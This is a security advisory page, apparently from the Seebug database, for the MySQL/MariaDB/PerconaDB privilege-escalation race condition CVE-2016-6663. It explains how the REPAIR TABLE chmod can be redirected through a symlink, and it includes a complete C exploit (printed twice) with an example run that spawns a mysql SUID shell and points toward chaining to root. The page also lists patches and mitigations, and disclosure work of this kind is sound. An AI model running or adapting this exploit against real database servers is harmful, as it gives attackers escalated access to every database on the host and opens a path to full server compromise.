Lucene search

K
seebugRootSSV:92510
HistoryNov 02, 2016 - 12:00 a.m.

MySQL / MariaDB / PerconaDB 提权/条件竞争漏洞(CVE-2016-6663)

2016-11-0200:00:00
Root
www.seebug.org
500

0.118 Low

EPSS

Percentile

94.8%

  • Release date: 01.11.2016
  • Discovered by: Dawid Golunski

I. VULNERABILITY

MySQL / MariaDB / PerconaDB - Privilege Escalation / Race Condition

MariaDB
< 5.5.52
< 10.1.18
< 10.0.28

MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14

Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8

Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0

II. BACKGROUND

MySQL:

“MySQL is the world’s most popular open source database.
Whether you are a fast growing web property, technology ISV or large
enterprise, MySQL can cost-effectively help you deliver high performance,
scalable database applications.”

“Many of the world’s largest and fastest-growing organizations including
Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time
and money powering their high-volume Web sites, business-critical systems and
packaged software.”

http://www.mysql.com/products/
http://www.mysql.com/why-mysql/

MariaDB:

"MariaDB is one of the most popular database servers in the world.
It’s made by the original developers of MySQL and guaranteed to stay open source.
Notable users include Wikipedia, WordPress.com and Google.

MariaDB turns data into structured information in a wide array of applications,
ranging from banking to websites. It is an enhanced, drop-in replacement for MySQL.
MariaDB is used because it is fast, scalable and robust, with a rich ecosystem of
storage engines, plugins and many other tools make it very versatile for a wide
variety of use cases."

https://mariadb.org/about/

PerconaDB:

“Percona Server for MySQL® is a free, fully compatible, enhanced, open source
drop-in replacement for MySQL that provides superior performance, scalability
and instrumentation.
With over 3,000,000 downloads, Percona Server’s self-tuning algorithms and support
for extremely high-performance hardware delivers excellent performance and reliability.”

https://www.percona.com/software/mysql-database/percona-server

III. INTRODUCTION

An independent research has revealed a race condition vulnerability which is
present in MySQl, MariaDB and PerconaDB databases.

The vulnerability can allow a local system user with access to the affected
database in the context of a low-privileged account (CREATE/INSERT/SELECT grants)
to escalate their privileges and execute arbitrary code as the database system
user (typically ‘mysql’).

Successful exploitation would allow an attacker to gain access to all of the
databases stored on the affected database server.

The obtained level of access upon the exploitation, could be chained with
the other privilege escalation vulnerabilities discovered by the author of
this advisory (CVE-2016-6662 and CVE-2016-6664) to further escalate privileges
from mysql user to root user and thus allow attackers to fully compromise the
target server.

IV. DESCRIPTION

Table locations


MySQL-based databases allow users with CREATE table privilege to optionally
specify a disk path of the directory where the table will be stored via a DATA 
DIRECTORY parameter in the CREATE statement.

Users who have access to a database account with CREATE grant could create a 
table under a directory that they can control. For example:

attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

A user could then place a table within the directory with the following SQL 
statement:

mysql&gt; CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

which would result in creating the following table file:

attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD


Race Condition

Observing file operations performed on the table stored within the directory,
it was discovered that REPAIR TABLE SQL statement which is available to
low-privileged users with SELECT/CREATE/INSERT grants, performed unsafe
operations on temporary files created during the table repair process.

Executing the statement:

mysql&gt; REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table          | Op     | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status   | OK       |
+----------------+--------+----------+----------+

would result in execution of the following system calls:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid  1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid  1463] lseek(65, 0, SEEK_CUR)      = 0
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid  1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] lseek(64, 0, SEEK_END)      = 1024
[pid  1463] close(65)                   = 0
[pid  1463] close(66)                   = 0
[pid  1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid  1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid  1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid  1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0

The first call:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

was found to check file permissions of poctab1.MYD table which are then copied with chmod()
to the newly created poctab1.TMD temporary file containing the repaired table.

The code is vulnerable to Race Condition between the call:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

and

[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0

If an attacker managed to unlink the temporary table poctab1.TMD and replace it
with a symlink to /var/lib/mysql before the chmod() operation (i.e. win the race),
they would be able to apply arbitrary permissions on the data directory.
The attacker would be able to control the set of permissions by pre-setting them on
poctab1.MYD file before executing the REPAIR TABLE statement.
For example, by setting the permissions of poctab1.MYD to 777 the data directory
would become readable and writable to the attacker.

Obtaining mysql-suid shell


Apart from gaining access to arbitrary mysql files, the attacker could also 
achieve arbitrary code execution in the context of mysql user (mysql shell).

This could be done by first pre-setting permissions on poctab1.MYD to 04777 
(suid), and winning the race so that the permissions get applied on a copy
of a bash shell file through the vulnerable chmod() call effectively creating
a shell that elevates their permissions after execution.

There is only one problem. Their suid shell would remain to be owned by the 
attacker's user id and not 'mysql' user. 

To elevate their privileges, attacker would need to copy the bash shell to a 
mysql-owned table file which are owned by mysql user.  However mysql table 
files are not writable by other users making it impossible for attacker to save 
the shell.

This could be bypassed if attacker created a specially crafted directory 
with a group sticky bit and then created a second table named 'poctab2' as
follows:

attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/

mysql&gt; CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)

attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql    0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD

As we can see poctab2.MYD table (thanks to the sticky bit (+s) on the permissions
of the group on disktable directory)  has 'mysql' as the owner but 'attacker' 
as the group. 
Therefore, the attacker would now be able to copy /bin/bash to poctab2.MYD file 
and preserve the file owner.

Finally, they could exploit the Race Condition again and have SUID + exec 
permissions applied on poctab2.MYD which would then allow them to execute the suid 
shell with elevated privileges of the mysql user.


From mysql to root
~~~~~~~~~~~~~~~~~~~~~~~~

After obtaining a mysql suid shell, attackers could then exploit one of the 
other MySQL vulnerabilities discovered by the author of this advisory:

CVE-2016-6662 
or
CVE-2016-6664 (Oracle CVE-2016-5617)

to escalate their privileges from mysql user to root system user.




V. PROOF OF CONCEPT EXPLOIT
-------------------------


------------------[ mysql-privesc-race.c ]--------------------
```
/*

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

Discovered/Coded by:

Dawid Golunski

dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com


Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

Note:
* On RedHat-based systems you might need to change /tmp to another public directory

* For testing purposes only. Do no harm.  

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

*/


#include &lt;fcntl.h&gt;
#include &lt;grp.h&gt;
#include &lt;mysql.h&gt;
#include &lt;pwd.h&gt;
#include &lt;stdint.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/inotify.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;time.h&gt;
#include &lt;unistd.h&gt;


#define EXP_PATH          "/tmp/mysql_privesc_exploit"
#define EXP_DIRN          "mysql_privesc_exploit"
#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL   	  EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary

MYSQL *conn;		  // DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;


void intro() {

printf( 
        "\033[94m\n"
        "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
        "mysql-privesc-race.c (ver. 1.0)\n\n"
        "CVE-2016-6663 / OCVE-2016-5616\n\n"
        "For testing purposes only. Do no harm.\n\n"
	"Discovered/Coded by:\n\n"
	"Dawid Golunski \n"
	"http://legalhackers.com"
        "\033[0m\n\n");

}

void usage(char *argv0) {
    intro();
    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {
    
    if (!silent) {
	    printf("%s \n", sql_cmd);
    }
    if (mysql_query(conn, sql_cmd)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }
    res = mysql_store_result(conn);
    if (res&gt;0) mysql_free_result(res);

}


int main(int argc,char **argv)
{

    int randomnum = 0;
    int io_notified = 0;
    int myd_handle;
    int wpid;
    int is_shell_suid=0;
    pid_t pid;
    int status;
    struct stat st;
    /* io notify */
    int fd;
    int ret;
    char buf[4096] __attribute__((aligned(8)));
    int num_read;
    struct inotify_event *event;
    /* credentials */
    char *user     = argv[1];
    char *password = argv[2];
    char *db_host  = argv[3];
    char *database = argv[4];


    // Disable buffering of stdout
    setvbuf(stdout, NULL, _IONBF, 0);

    // Get the params
    if (argc!=5) {
	usage(argv[0]);
	exit(1);
    } 
    intro();
    // Show initial privileges
    printf("\n[+] Starting the exploit as: \n");
    system("id");

    // Connect to the database server with provided credentials
    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }

    // Prepare tmp dir
    printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
    umask(000);
    system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
    system("chmod g+s /tmp/" EXP_DIRN );

    // Prepare exploit tables :)
    printf("\n[+] Creating mysql tables \n\n");
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
    mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

    // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
    // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
    printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");
    system("cp /bin/bash " SUID_SHELL);
    system("ls -l " SUID_SHELL);

    // Use inotify to get the timing right
    fd = inotify_init();
    if (fd &lt; 0) {
        printf("failed to inotify_init\n");
        return -1;
    }
    ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);


    /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

    printf("\n[+] Entering the race loop... Hang in there...\n");

    while ( is_shell_suid != 1 ) {

        cnt++;
	if ( (cnt % 100) == 0 ) {
	 	printf("-&gt;");
	 	//fflush(stdout);	
	}

        /* Create empty file , remove if already exists */
        unlink(MYSQL_TEMP_FILE);
        unlink(MYSQL_TAB_FILE);
   	mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
	mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

	/* random num if needed */
        srand ( time(NULL) );
        randomnum = ( rand() % MAX_DELAY );

        // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
        pid = fork();
        if (pid &lt; 0) {
            fprintf(stderr, "Fork failed :(\n");
        }

        /* Child process - executes REPAIR TABLE  SQL statement */
        if (pid == 0) {
            usleep(500);
            unlink(MYSQL_TEMP_FILE);
	    mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
            // child stops here
            exit(0);
        }

        /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
        if (pid &gt; 0 ) {
            io_notified = 0;

            while (1) {
                int processed = 0;
                ret = read(fd, buf, sizeof(buf));
                if (ret &lt; 0) {
                    break;
                }
                while (processed &lt; ret) {
                    event = (struct inotify_event *)(buf + processed);
                    if (event-&gt;mask & IN_CLOSE) {
                        if (!strcmp(event-&gt;name, "exploit_table.TMD")) {
                            //usleep(randomnum);

			    // Set the .MYD permissions to suid+exec before they get copied to the .TMD file 
			    unlink(MYSQL_TAB_FILE);
			    myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
			    close(myd_handle);
			    chmod(MYSQL_TAB_FILE, 04777);

			    // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
                            unlink(MYSQL_TEMP_FILE);
                            symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                            io_notified=1;
                        }
                    }
                    processed += sizeof(struct inotify_event);
                }
                if (io_notified) {
                    break;
                }
            }


            waitpid(pid, &status, 0);
        }

	// Check if SUID bit was set at the end of this attempt
        if ( lstat(SUID_SHELL, &st) == 0 ) {
	    if (st.st_mode & S_ISUID) {
		is_shell_suid = 1;
	    }
        } 

    }

    printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
    system("ls -l " SUID_SHELL);

    printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
    system(SUID_SHELL " -p -i ");
    //system(SUID_SHELL " -p -c '/bin/bash -i -p'");

    /* close MySQL connection and exit */
    printf("\n[+] Job done. Exiting\n\n");
    mysql_close(conn);
    return 0;

}

```




Example run:
~~~~~~~~~~~~~~
```
attacker@xenial:~/mysql-exploit$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.1 LTS
Release:	16.04
Codename:	xenial

attacker@xenial:~/mysql-exploit$ dpkg -l | grep -i mariadb-serv
ii  mariadb-server                     10.0.27-0ubuntu0.16.04.1          all          MariaDB database server (metapackage depending on the latest version)
ii  mariadb-server-10.0                10.0.27-0ubuntu0.16.04.1          amd64        MariaDB database server binaries
ii  mariadb-server-core-10.0           10.0.27-0ubuntu0.16.04.1          amd64        MariaDB database core server files

attacker@xenial:~/mysql-exploit$ id
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

attacker@xenial:~/mysql-exploit$ mysql -uattacker -ppocsql -hlocalhost pocdb -e 'show grants;'
+-----------------------------------------------------------------------------------------------------------------+
| Grants for attacker@localhost                                                                                   |
+-----------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'attacker'@'localhost' IDENTIFIED BY PASSWORD '*3CC3900C7B2B0A885AB128894FC10949340A09CC' |
| GRANT SELECT, INSERT, CREATE, DROP ON `pocdb`.* TO 'attacker'@'localhost'                                       |
+-----------------------------------------------------------------------------------------------------------------+

attacker@xenial:~/mysql-exploit$ ls -l /var/lib/mysql/mysql/user.*
ls: cannot access '/var/lib/mysql/mysql/user.*': Permission denied

attacker@xenial:~/mysql-exploit$ time ./mysql-privesc-race attacker pocsql localhost pocdb

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski 
http://legalhackers.com


[+] Starting the exploit as: 
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

[+] Connecting to the database `pocdb` as attacker@localhost

[+] Creating exploit temp directory /tmp/mysql_privesc_exploit

[+] Creating mysql tables 

DROP TABLE IF EXISTS exploit_table 
DROP TABLE IF EXISTS mysql_suid_shell 
CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 

[+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/table will be assigned SUID and executable bits : 
-rw-rw---- 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Entering the race loop... Hang in there...


[+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell: 

-rwsrwxrwx 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Spawning the mysql SUID shell now... 
    Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

mysql_suid_shell.MYD-4.3$ whoami
mysql
mysql_suid_shell.MYD-4.3$ id
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)
mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
-rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
-rw-rw---- 1 mysql mysql  168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
-rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI
mysql_suid_shell.MYD-4.3$ exit
exit

[+] Job done. Exiting


real	0m28.999s
user	0m0.016s
sys	0m0.016s

```


Video PoC:
~~~~~~~~~~~~
http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html



VI. BUSINESS IMPACT
-------------------------

Malicious local users with DB access granted a common set of privileges 
(SELECT/INSERT/CREATE) could exploit this vulnerability to execute arbitrary 
code and escalate their privileges to mysql system user. This would allow them 
to gain access to all of the databases stored on the server as well as exploit 
CVE-2016-6662 or CVE-2016-6664 vulnerabilities to further elevate privileges
to root system user (rootshell) and fully compromise the target server.

This vulnerability could for example be exploited by malicious users in a shared 
hosting environment where each user is supposed to have access to only one 
database assigned to them. 
It could also be exploited by attackers who have managed to find a vulnerability
in a website and gained access to the target system as a low-privileged user
(such as apache/www-data).

 
VII. SYSTEMS AFFECTED
-------------------------

MariaDB 
	&lt; 5.5.52
	&lt; 10.1.18
        &lt; 10.0.28

MySQL  
	&lt;= 5.5.51
	&lt;= 5.6.32
	&lt;= 5.7.14

Percona Server
	&lt; 5.5.51-38.2
	&lt; 5.6.32-78-1
	&lt; 5.7.14-8

Percona XtraDB Cluster
	&lt; 5.6.32-25.17
	&lt; 5.7.14-26.17
	&lt; 5.5.41-37.0



When checking if your system contains the patches, note that this vulnerability 
has been known under two CVE IDs: 

CVE-2016-6663
CVE-2016-5616

CVE-2016-6663 is the original CVE that was agreed to be used by all the
affected vendors. 
The issue was however mentioned in Oracle CPU mistakenly under a new CVE of
CVE-2016-5616, resulting in a duplicate. Oracle has informed that CPU will be 
updated to state that CVE-2016-5616 is equivalent to CVE-2016-6663.

 
VIII. SOLUTION
-------------------------

MariaDB/MySQL/PerconaDB vendors have received a copy of this advisory in
advance which allowed them to produce patches for this vulnerability before
disclosure.

Update to security releases issued by the vendor.

As a temporary mitigation, you can disable symbolic link support in the
database server configuration with the following my.cnf config setting:

symbolic-links = 0

Nevertheless, an update to a patched release is recommended.

 
IX. REFERENCES
-------------------------

http://legalhackers.com

This advisory (CVE-2016-6663 / OCVE-2016-5616):
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

Exploit (mysql-privesc-race.c) source code URL:
http://legalhackers.com/exploits/mysql-privesc-race.c

Video PoC:
http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html

Advisory for CVE-2016-6664 / OCVE-2016-5617:
http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html


Vendor updates:

http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html#AppendixMSQL
http://www.mysql.com/

https://mariadb.org/about/
https://mariadb.com/kb/en/mdb-5552-rn/
https://mariadb.com/kb/en/mdb-10118-rn/
https://mariadb.com/kb/en/mdb-10028-rn/

https://www.percona.com/software


X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com

http://legalhackers.com
 

XI. REVISION HISTORY
-------------------------

01.11.2016 - Advisory released

 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

                                                
/*

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

Discovered/Coded by:

Dawid Golunski

dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com


Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

Note:
* On RedHat-based systems you might need to change /tmp to another public directory

* For testing purposes only. Do no harm.  

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

*/


#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#define EXP_PATH          "/tmp/mysql_privesc_exploit"
#define EXP_DIRN          "mysql_privesc_exploit"
#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL   	  EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary

MYSQL *conn;		  // DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;


void intro() {

printf( 
        "\033[94m\n"
        "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
        "mysql-privesc-race.c (ver. 1.0)\n\n"
        "CVE-2016-6663 / OCVE-2016-5616\n\n"
        "For testing purposes only. Do no harm.\n\n"
	"Discovered/Coded by:\n\n"
	"Dawid Golunski \n"
	"http://legalhackers.com"
        "\033[0m\n\n");

}

void usage(char *argv0) {
    intro();
    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {
    
    if (!silent) {
	    printf("%s \n", sql_cmd);
    }
    if (mysql_query(conn, sql_cmd)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }
    res = mysql_store_result(conn);
    if (res>0) mysql_free_result(res);

}


int main(int argc,char **argv)
{

    int randomnum = 0;
    int io_notified = 0;
    int myd_handle;
    int wpid;
    int is_shell_suid=0;
    pid_t pid;
    int status;
    struct stat st;
    /* io notify */
    int fd;
    int ret;
    char buf[4096] __attribute__((aligned(8)));
    int num_read;
    struct inotify_event *event;
    /* credentials */
    char *user     = argv[1];
    char *password = argv[2];
    char *db_host  = argv[3];
    char *database = argv[4];


    // Disable buffering of stdout
    setvbuf(stdout, NULL, _IONBF, 0);

    // Get the params
    if (argc!=5) {
	usage(argv[0]);
	exit(1);
    } 
    intro();
    // Show initial privileges
    printf("\n[+] Starting the exploit as: \n");
    system("id");

    // Connect to the database server with provided credentials
    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }

    // Prepare tmp dir
    printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
    umask(000);
    system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
    system("chmod g+s /tmp/" EXP_DIRN );

    // Prepare exploit tables :)
    printf("\n[+] Creating mysql tables \n\n");
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
    mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

    // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
    // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
    printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");
    system("cp /bin/bash " SUID_SHELL);
    system("ls -l " SUID_SHELL);

    // Use inotify to get the timing right
    fd = inotify_init();
    if (fd < 0) {
        printf("failed to inotify_init\n");
        return -1;
    }
    ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);


    /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

    printf("\n[+] Entering the race loop... Hang in there...\n");

    while ( is_shell_suid != 1 ) {

        cnt++;
	if ( (cnt % 100) == 0 ) {
	 	printf("->");
	 	//fflush(stdout);	
	}

        /* Create empty file , remove if already exists */
        unlink(MYSQL_TEMP_FILE);
        unlink(MYSQL_TAB_FILE);
   	mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
	mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

	/* random num if needed */
        srand ( time(NULL) );
        randomnum = ( rand() % MAX_DELAY );

        // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
        pid = fork();
        if (pid < 0) {
            fprintf(stderr, "Fork failed :(\n");
        }

        /* Child process - executes REPAIR TABLE  SQL statement */
        if (pid == 0) {
            usleep(500);
            unlink(MYSQL_TEMP_FILE);
	    mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
            // child stops here
            exit(0);
        }

        /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
        if (pid > 0 ) {
            io_notified = 0;

            while (1) {
                int processed = 0;
                ret = read(fd, buf, sizeof(buf));
                if (ret < 0) {
                    break;
                }
                while (processed < ret) {
                    event = (struct inotify_event *)(buf + processed);
                    if (event->mask & IN_CLOSE) {
                        if (!strcmp(event->name, "exploit_table.TMD")) {
                            //usleep(randomnum);

			    // Set the .MYD permissions to suid+exec before they get copied to the .TMD file 
			    unlink(MYSQL_TAB_FILE);
			    myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
			    close(myd_handle);
			    chmod(MYSQL_TAB_FILE, 04777);

			    // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
                            unlink(MYSQL_TEMP_FILE);
                            symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                            io_notified=1;
                        }
                    }
                    processed += sizeof(struct inotify_event);
                }
                if (io_notified) {
                    break;
                }
            }


            waitpid(pid, &status, 0);
        }

	// Check if SUID bit was set at the end of this attempt
        if ( lstat(SUID_SHELL, &st) == 0 ) {
	    if (st.st_mode & S_ISUID) {
		is_shell_suid = 1;
	    }
        } 

    }

    printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
    system("ls -l " SUID_SHELL);

    printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
    system(SUID_SHELL " -p -i ");
    //system(SUID_SHELL " -p -c '/bin/bash -i -p'");

    /* close MySQL connection and exit */
    printf("\n[+] Job done. Exiting\n\n");
    mysql_close(conn);
    return 0;

}